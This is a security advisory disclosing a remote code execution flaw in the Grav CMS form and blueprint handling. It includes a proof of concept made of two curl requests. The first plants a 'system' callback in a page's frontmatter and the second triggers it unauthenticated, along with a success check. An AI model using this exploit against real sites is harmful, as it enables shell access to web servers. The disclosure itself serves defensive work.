Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
An account with the `admin.pages` permission (or `api.pages.write`) can run shell
commands on the server. The command executes whenever anyone — including an
unauthenticated visitor — opens the page.
### Details
`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes
a `Class::method` string and its arguments straight to `call_user_func_array()`
with no allowlist. The form plugin runs page frontmatter through this path
(form/classes/Form.php:432), so a page author controls the input.
`Grav\Common\Utils::arrayFilterRecursive($source,$fn)`
(system/src/Grav/Common/Utils.php:1169) is a public static that calls
`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key
runs the command.
### PoC
Placeholders: `<BASE_URL>` the site; `<SESSION_COOKIE>` an admin session cookie
for an account with `admin.pages`; `<ADMIN_NONCE>` the `admin-nonce` on any admin
page (`window.GravAdmin.config.admin_nonce`).
Save a "form" page whose field carries the callable directive:
curl '<BASE_URL>/admin/pages/rcepoc' \
-H 'Cookie: <SESSION_COOKIE>' \
--data-urlencode 'task=save' \
--data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
--data-urlencode 'data[folder]=rcepoc' \
--data-urlencode 'data[name]=form' \
--data-urlencode 'data[title]=x' \
--data-urlencode 'data[content]=hi' \
--data-urlencode "data[frontmatter]=forms:
x:
fields:
y:
type: text
data-opts@:
- 'Grav\Common\Utils::arrayFilterRecursive'
- { 'echo GRAV-RCE-OK; id': 'x' }
- system"
Trigger it as an unauthenticated visitor:
curl '<BASE_URL>/rcepoc'
Success check: the GET response body begins with `GRAV-RCE-OK` followed by the
web-server user's `id` output (a line starting `uid=...`) — the command ran
during the unauthenticated request and its output is reflected in the response.
### Impact
Shell command execution as the web-server user, triggered by any visit to the
page, plantable by any holder of `admin.pages` or `api.pages.write`.
Trust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page
editing, not code execution; the holder plants the payload and the code runs at
request time on any later view of the page.
